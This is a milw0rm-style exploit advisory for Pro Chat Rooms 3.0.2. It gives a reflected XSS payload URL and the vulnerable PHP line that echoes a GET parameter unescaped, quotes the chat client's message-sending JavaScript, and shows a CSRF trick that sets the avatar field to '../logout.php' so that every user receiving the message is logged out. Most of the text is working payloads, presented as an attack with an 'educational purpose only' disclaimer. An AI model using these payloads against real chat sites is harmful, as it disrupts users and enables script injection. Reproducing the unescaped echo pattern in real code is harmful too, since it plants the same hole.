Pro Chat Rooms 3.0.2 - Cross-Site Scripting / Cross-Site Request Forgery

#########################################################################
Pro Chat Rooms Version 3.0.2  (XSS/CSRF) Vulnerabilties
#########################################################################
 
 
## AUTHOR : ZynbER
## MAiL   : ZynbER[at]Gmail[dot]com
## HOME   : NoWhere
 
 
## Script WebSite : http://www.prochatrooms.com
 
## Version : Pro Chat Rooms Version 3.0.2
 
 
## EXPLOITS :
 
-==XSS==-
 
http://www.yoursite.com/[path]/profiles/index.php?gud=XSSED
 
Vulnerable code in "/profiles/index.php"
 
 
<b><?php echo C_PRO2;?>: <?php echo $_GET['gud'];?></b>
 
 
-==CSRF==-
 
When a user sends a message in public room or in pm to onther user ; there is a parameter
to set an avatar (ex:"image.gif"); we will exploit this param to run a CSRF when user get our message
 
The JS sending function; here u can see all params needed to POST a message to user/room
 
//Add a message to the chat server.
function sendChatText() {
 
if(!document.getElementById('txt_message').value) {
   alert("You have not entered a message ");
   return;
}
    if(document.getElementById('whisper').value.toLowerCase() == document.getElementById('thisuser').value.toLowerCase()) {
    alert("You cannot whisper to yourself! ");
    return;
}
if (sendReq.readyState == 4 || sendReq.readyState == 0) {
    sendReq.open("POST", 'sendData.php?chat=1&last=' + lastMessage + '&room=' + room, true);
    sendReq.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    sendReq.onreadystatechange = handleSendChat;  
    var param = 'message=' + document.getElementById('txt_message').value;
    param += '&name=' + chat_user;
    param += '&nid=' + chat_userid;
    param += '&chat=1';
    param += '&room=' + room;
    param += '&whisper=' + document.getElementById('whisper').value;
    param += '&fontface=' + document.getElementById('font_face').value;
    param += '&fontcolor=' + document.getElementById('font_color').value;
    param += '&fontheight=' + document.getElementById('font_height').value;
    param += '&fontstyle=' + document.getElementById('font_style').value;
    param += '&avatar=' + document.getElementById('user_avatar').value;
    sendReq.send(param);
    document.getElementById('txt_message').value = '';
    }                            
}
 
 
Exploit Example:
 
default  ==> http://www.yoursite.com/[path]/Avatars/online.gif
 
 
Your mallecious CSRF param;  avatar=../logout.php ==> New avatar path http://www.yoursite.com/[path]/logout.php
 
 
in this example the user will logout when he recieves ur message; in a public room all users will
be loged out from the room ;)
 
 
 
 
## Note:  
 
This infos are for educational purpose only;  
I'm not responsable for any damage caused...
 
 
 
## GREETZ  :  Str0ke - 7issa - Zakhm0ki - samIR - Chicha - Sn@k-baraka
 
        -=== Marequin est fière de l'être ===-
 
#########################################################################
Pro Chat Rooms Version 3.0.2   (XSS/CSRF) Vulnerabilties
#########################################################################

# milw0rm.com [2008-12-10]